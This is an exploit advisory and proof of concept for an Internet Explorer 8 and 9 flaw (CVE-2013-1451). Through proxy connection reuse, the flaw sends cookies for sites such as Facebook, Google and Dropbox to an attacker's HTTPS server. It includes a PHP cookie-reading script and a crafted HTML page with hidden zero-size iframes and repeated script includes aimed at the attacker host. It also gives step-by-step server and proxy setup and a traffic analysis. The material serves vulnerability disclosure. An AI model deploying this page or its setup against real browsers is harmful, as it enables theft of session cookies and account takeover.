# Exploit Title: Internet Explorer 8 & Internet Explorer 9 steal any Cookie
# Date: 27.01.2013
# Exploit Author: Christian Haider; Email: christian.haider.poc @ gmail
*dot* com; linkedin: http://www.linkedin.com/in/chrishaider
# Category: remote
# Vendor Homepage: http://www.microsoft.com
# Version: IE 8, IE 9
# Tested on: Windows 7, Windows XP
# CVE : CVE-2013-1451
Disclaimer
----------
The information in this advisory and any of its demonstrations is provided
"as is" without any warranty of any kind. I am not liable for any direct or
indirect damages caused as a result of using the information or
demonstrations provided in any part of this advisory. Educational use
only..!!
----------
This vulnerability regarding Internet Explorer 8 & 9 was reported to
Microsoft in December 2011 (ID is [12096gd]). Although the vulnerability
can be used to steal cookies it has not been rated as a high risk
vulnerability. As a consequence of that we will never see an update for IE
8 & IE 9 and rather have to wait for a fix in IE 10. Only requirement for a
successful exploit is that IE uses the same proxy for HTTP and HTTPS.
I consider this a high risk vulnerability and a simple configuration change
could mitigate the risk. To make the public aware of this threat I made
this vulnerability public.
CVE-ID has not been issued yet.
Vulnerability discovered by: Christian Haider; Email: christian.haider.poc
@ gmail *dot* com
Linkedin: http://www.linkedin.com/in/chrishaider
PoC Video on Youtube = http://www.youtube.com/watch?v=TPqagWAvo8U
PoC Files:
- info.php = http://pastebin.com/download.php?i=bPDDwJY4
<?php
print_r($_SERVER['HTTP_HOST']);
echo '<br/>';
// A way to view all cookies
//print_r($_COOKIE);
$cookie=$_COOKIE;
foreach ($cookie as $key=>$val)
echo "$key--> HIDDEN; ";
?>
?>
- video.html = http://pastebin.com/download.php?i=KXYX3pv1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Vul Test</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<form name="input" action="http://www.facebook.com/info.php" method="post">
Facebook.com
<input type="submit" value="Submit">
</form>
<form name="input" action="http://www.google.com/info.php" method="post">
Google.com
<input type="submit" value="Submit">
</form>
<form name="input" action="https://www.google.com" method="get">
https://www.google.com
<input type="submit" value="Submit">
</form>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<br/>
<iframe src="http://www.facebook.com/info.php" width="900" height="100"></iframe>
<br/>
<iframe src="http://www.google.com/info.php" width="900" height="100"></iframe>
<br/>
<iframe src="http://www.linkedin.com/info.php" width="900" height="100"></iframe>
<br/>
<iframe src="http://account.live.com/info.php" width="900" height="100"></iframe>
<br/>
<iframe src="http://www.dropbox.com/info.php" width="900" height="100"></iframe>
</body>
</html>
- script.js (empty file)
Timeline:
Discovered (12.12.2011)
Reported to Vendor (16.12.2011)
Confirmed by Vendor (09.01.2012)
Proof of Concept (27.01.2013)
Made Public (28.01.2013)
After a short walkthrough of the setup I will demonstrate the result.
1. Install a proxy server of your choice. We use squid for now.
2. Install a webserver. We use apache for now.
a. Make the webserver listen for http traffic on port 80
b. Make the webserver listen for https traffic on the same port as the
proxy does. In our example Squid works on 443
3. Due to the lack of an approved certificate for our website we have to
import the https certificate into our key store. If you got a public
hostname and a certificate for than it this step is not necessary
4. Let�s check that the client and the proxy resolve the hostnames to the
correct IP addresses (web01.local.home, web02.local.home, www.google.com,
www.facebook.com, and so on)
5. Setup a website with lots of data to be fetched from our https website.
The result is that lots of connections get established
6. After that we request some data from the actual target website. In our
example we use Facebook, linkedin, dropbox, �
7. As you can see in our example we send all cookies to the wrong website
and display the data using a php script. I do only show the names of the
cookies instead of the actual data but be assured that the whole cookie
gets sent
8. This is not limited to external websites. Even cookies used inside a
company can get stolen the very same way. Imagine you use SAML to
authenticate to Office 365 or other SaaS products.
9. This works out of the box with XP and apache. Windows 7 does include the
hostname in each request and apache does check this field [RFC 6066].
10. You have to customize and build apache to remove that check.
Nevertheless the actual information was sent on Windows 7 as well. After
all this check is carried out on the webserver.
11. Let�s ping the proxy and do a single post so we can narrow in once we
analyze the traffic
12. One even scarier thing happens if you do the following. First open our
special crafted website. Then move on to https://www.google.com; afterwards
open another website like http://virusscan.jotti.org/info.php
13. As you can see IE thinks it is connected securely but when you have a
closer look than you will see that IE thinks it is connected to
www.google.com but it ended up on our webserver
14. Sometimes IE crashed once you close it after you played around with
this website which might indicate that there are some loose references or
other vulnerabilities you could exploit
Analyze what happens:
=====================
How ends that data up being sent to the wrong webserver?
First we have a look what our special crafted website looks like. You will
see it is not that special.
We have 3 forms with a submit button and several includes of script.js
followed by several iframes of info.php;
The last 5 iframes are to facebook, google, linkedin, and so on.
What we expect IE to carry out:
1. Get our crafted website
2. Build https connection and download script.js from
https://web01.local.home:8080
3. Build https connection and download info.php from
https://web01.local.home:8080
4. Use a normal connection to download content from facebook, google,
linkedin, and so on
We use wireshark to have a look if that is true:
1. We see the GET of our crafted website and the unencrypted traffic which
says nothing has changed
2. We see 12 connect for the 39 requests over https. That means we reuse
the connections!
3. Search for any other GET or POST which should be unencrypted --> There
are no
4. What happened to the requests? Let�s have a look at the very end. Right
after we started the ping command, there should be a request
5. It is tunneled over the https connection which ends at our crafted
website
Conclusion: After several connections are opened IE starts to reuse them.
Unfortunately it seems that the proxy component of IE does not keep track
of the actual target of the connections.
This results in GET/POST REQUEST getting tunneled through an SSL connection
to the wrong webserver.
The proxy server does not even see what is going on within the SSL
connection so there is nothing it could do to prevent it. This might be
different if you scan inside of the SSL connection. RFC 6066 section 11.1
specifies that web servers MUST check that the host header and host name
sent via SNI match but does a proxy scan for such malfunction?